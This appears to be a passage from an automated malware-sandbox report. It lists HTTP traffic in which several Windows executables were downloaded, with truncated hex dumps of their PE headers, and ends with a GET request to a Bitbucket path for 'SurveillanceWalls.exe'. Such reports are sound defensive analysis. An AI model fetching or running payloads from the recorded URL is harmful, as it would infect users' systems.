00 00 f0 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 00 88 06 00 00 00 00 43 00 00 08 00 00 00 06 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:17:51 GMTContent-Type: application/octet-streamContent-Length: 532992Last-Modified: Mon, 23 Dec 2024 14:06:19 GMTConnection: keep-aliveETag: "67696e5b-82200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 57 5a 69 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 a6 02 00 00 d4 00 00 00 00 00 00 52 ef 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 08 00 00 06 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 48 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 70 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 0d 03 00 18 00 00 00 08 d0 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 0c 4a 03 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2b a5 02 00 00 10 00 00 00 a6 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7c 9d 00 00 00 c0 02 00 00 9e 00 00 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 25 00 00 00 60 03 00 00 16 00 00 00 4a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 03 00 00 02 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 70 1d 00 00 00 a0 03 00 00 1e 00 00 00 62 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 a2 04 00 00 c0 03 00 00 a2 04 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:18:00 GMTContent-Type: application/octet-streamContent-Length: 2668544Last-Modified: Sat, 21 Dec 2024 08:45:32 GMTConnection: keep-aliveETag: "6766802c-28b800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ca 47 72 61 ab 29 21 61 ab 29 21 61 ab 29 21 13 2a 2a 20 6c ab 29 21 13 2a 2c 20 f5 ab 29 21 13 2a 2d 20 72 ab 29 21 70 2d 2a 20 73 ab 29 21 70 2d 2d 20 71 ab 29 21 70 2d 2c 20 47 ab 29 21 13 2a 28 20 64 ab 29 21 61 ab 28 21 3f ab 29 21 e2 2d 21 20 60 ab 29 21 e2 2d d6 21 60 ab 29 21 e2 2d 2b 20 60 ab 29 21 52 69 63 68 61 ab 29 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f4 a8 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 aa 26 00 00 1c 02 00 00 00 00 00 50 a5 23 00 00 10 00 00 00 c0 26 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 29 00 00 04 00 00 be fd 28 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 aa 27 00 3c 00 00 00 00 f0 27 00 7d 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 28 00 b8 6a 00 00 00 9c 27 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9b 27 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 aa a8 26 00 00 10 00 00 00 aa 26 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c f1 00 00 00 c0 26 00 00 f2 00 00 00 ae 26 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 1a 00 00 00 c0 27 00 00 0a 00 00 00 a0 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 70 74 61 62 6c 65 80 00 00 00 00 e0 27 00 00 02 00 00 00 aa 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7d 9e 00 00 00 f0 27 00 00 a0 00 00 00 ac 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b8 6a 00 00 00 90 28 00 00 6c 00 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:18:10 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:18:18 GMTContent-Type: application/octet-streamContent-Length: 1879552Last-Modified: Sun, 22 Dec 2024 20:01:10 GMTConnection: keep-aliveETag: "67687006-1cae00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 77 59 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 73 65 6f 78 63 6c 6b 00 30 1a 00 00 f0 2f 00 00 2a 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 6e 68 6f 65 61 70 00 10 00 00 00 20 4a 00 00 04 00 00 00 88 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:18:34 GMTContent-Type: application/octet-streamContent-Length: 83474441Last-Modified: Mon, 23 Dec 2024 15:55:46 GMTConnection: keep-aliveETag: "67698802-4f9b809"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 33 83 69 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 3e 28 e1 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 fc 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 16:18:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 16:19:07 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/SurveillanceWalls.exe HTTP/1.1Host: bitbucket.org
